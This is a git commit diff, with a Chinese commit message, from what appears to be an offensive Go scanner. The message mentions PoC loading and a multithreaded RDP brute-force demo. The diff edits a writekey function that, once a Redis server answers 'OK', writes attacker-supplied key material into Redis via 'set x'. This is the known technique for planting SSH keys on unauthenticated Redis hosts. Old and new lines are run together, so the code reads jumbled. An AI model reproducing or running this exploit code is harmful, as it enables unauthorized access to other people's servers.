poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程

This commit is contained in:
影舞者 2022-04-20 17:54:45 +08:00
parent 4c51ae1f2a
commit c4950e2a93

View File

@ -191,19 +191,14 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
var key string key, err := Readfile(filename)
if filename == "shadow" { if err != nil {
key = SshPub text = fmt.Sprintf("Open %s error, %v", filename, err)
} else { return flag, text, err
key, err = Readfile(filename) }
if err != nil { if len(key) == 0 {
text = fmt.Sprintf("Open %s error, %v", filename, err) text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
} }
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil { if err != nil {